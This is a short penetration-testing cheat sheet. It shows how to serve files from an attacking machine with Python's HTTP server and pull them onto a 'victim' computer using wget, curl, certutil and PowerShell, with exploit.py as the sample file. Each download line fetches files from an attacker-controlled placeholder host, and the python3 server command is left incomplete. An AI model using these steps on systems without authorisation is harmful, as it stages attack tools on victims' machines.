Using Python to Transfer Files

Requirements

- Python/Python3

Information

- OS: Kali Linux[Debian]
- RHOST: Target or victim computer
- LHOST: Local computer or attacking computer

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LHOST: Attacking Computer

Ensure you have Python installed. You can check your version of Python by running:

```
# Python
LHOST@Exploit-Security:~$ python --version

# Python3
LHOST@Exploit-Security:~$ python3 --version
```

If you do not have Python installed you can do so by running:

```
# Python
LHOST@Exploit-Security:~$ sudo apt install python
```

```
# Python3
LHOST@Exploit-Security:~$ sudo apt install python3
```

Navigate to the directory holding the file you intend to transfer. Then start your Python HTTP Server by running:

```
LHOST@Exploit-Security:~$ ls
exploit.py

# Python
LHOST@Exploit-Security:~$ python -m SimpleHTTPServer {PORT} # Runs on 8000 by default

# Python3
LHOST@Exploit-Security:~$ python3
```

You can check to ensure your server is running as expected by navigating to a browser and inputting:

```
http://{LHOST}:{PORT}
```

RHOST : Victim Computer

From the RHOST - Target Computer run one of the following method below:

Method 1: Using WGET

```
RHOST@Exploit-Security:~$ wget http://{LHOST}:{LPORT}/{FILE NAME}
```

Method 2: Using CURL

```
RHOST@Exploit-Security:~$ curl -O http://{LHOST}:{LPORT}/{FILE NAME}
```

Method 3: Using CERTUTIL

```
C: certutil.exe -urlcache -split -f http://{LHOST}/{FILE}
```

Method 4: Using POWERSHELL

```
C: powershell "(New-Object System.Net.WebClient).Downloadfile('http://{LHOST}:{LPORT}/{FILE}','{OUTPUT FILE}')"
```